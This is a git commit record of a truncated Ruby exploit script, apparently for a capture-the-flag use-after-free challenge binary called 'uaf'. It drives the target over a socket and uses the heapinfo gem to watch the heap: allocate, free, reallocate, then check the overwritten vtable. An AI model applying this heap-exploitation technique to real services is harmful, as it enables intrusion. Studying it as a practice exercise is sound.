<commit_before>#!/usr/bin/env ruby
#encoding: ascii-8bit
require 'heapinfo'
require 'socket'
$HOST, $PORT = '', 12345
$local = false
($HOST = '0'; $local = true) if ARGV.empty?
z=TCPSocket.new $HOST, $PORT
h = heapinfo('./uaf')
# ==================== Exploit Start ==================== #
z.puts 1 # new Benz

h.debug {
  puts "sizeof(Car) = %#x" % h.dump(:heap, 0x10).to_chunk.size # get size of a car
  vtable1 = h.dump(:heap, 0x10, 8).unpack("Q*")[0]
  puts "vtable of Benz = %#x" % vtable1
}

z.puts 4; z.puts 0 # delete Benz
h.layouts :fastbin # show fastbin

z.puts 2 # new Magic

# check if exploit will work
h.debug {
  vtable2 = h.dump(:heap, 0x10, 8).unpack("Q*")[0]<commit_msg>better<commit_after>#!/usr/bin/env ruby
#encoding: ascii-8bit
require 'heapinfo'
require 'socket'
$HOST, $PORT = '', 12345
$local = false
($HOST = '0'; $local = true) if ARGV.empty?
z=TCPSocket.new $HOST, $PORT
h = heapinfo('uaf')
# ==================== Exploit Start ==================== #
z.puts 1 # new Benz

h.debug {
  puts "sizeof(Car) = %#x" % h.dump(:heap, 0x10).to_chunk.size # get size of a car
  vtable1 = h.dump(:heap, 0x10, 8).unpack("Q*")[0]
  puts "vtable of Benz = %#x" % vtable1
}

z.puts 4; z.puts 0 # delete Benz
h.layouts :fastbin # show fastbin

z.puts 2 # new Magic

# check if exploit will work
h.debug {
  vtable2 = h.dump(:heap, 0x10, 8).unpack("Q*")[0]
{'fraction_non_alphanumeric': 0.23003663003663002, 'fraction_numerical': 0.03956043956043956, 'mean_word_length': 4.154716981132076, 'pattern_counts': {'":': 0, '<': 3, '<?xml version=': 0, '>': 3, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '2598257', 'n_tokens_mistral': 603, 'n_tokens_neox': 559, 'n_words': 149}